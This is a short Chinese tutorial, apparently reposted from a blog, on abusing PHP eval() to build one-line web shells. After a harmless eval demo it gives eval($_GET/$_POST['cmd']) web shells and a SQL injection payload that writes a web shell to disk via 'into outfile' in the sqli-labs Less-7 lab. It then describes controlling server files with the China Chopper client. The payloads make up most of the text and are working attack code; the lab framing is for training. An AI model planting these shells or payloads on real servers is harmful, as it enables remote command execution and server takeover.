<?php $string=‘cup‘; $name=‘coffee‘; $str=‘This is a $string with my $name in it.‘; echo $str."\n"; eval("\$str=\"$str\";"); echo $str."\n"; ?>
以上例程会输出
用于构造一句话木马
eval($_GET["cmd"]);
通过数据库写马
环境：sql_labs Less-7
写入一句话木马
union select 1,2,‘<?php eval($_POST["cmd"]);?>‘ into outfile ‘d:/wampserver/wamp64/www/sqli/sqli/Less-7/twx.txt‘%23
使用中国菜刀进行连接
可以访问并操作服务器文件
通过PHP 文件写马
<?php eval($_GET["cmd"]); ?>
访问PHP 文件，查看phpinfo()
原文：https://www.cnblogs.com/TWX521/p/10133136.html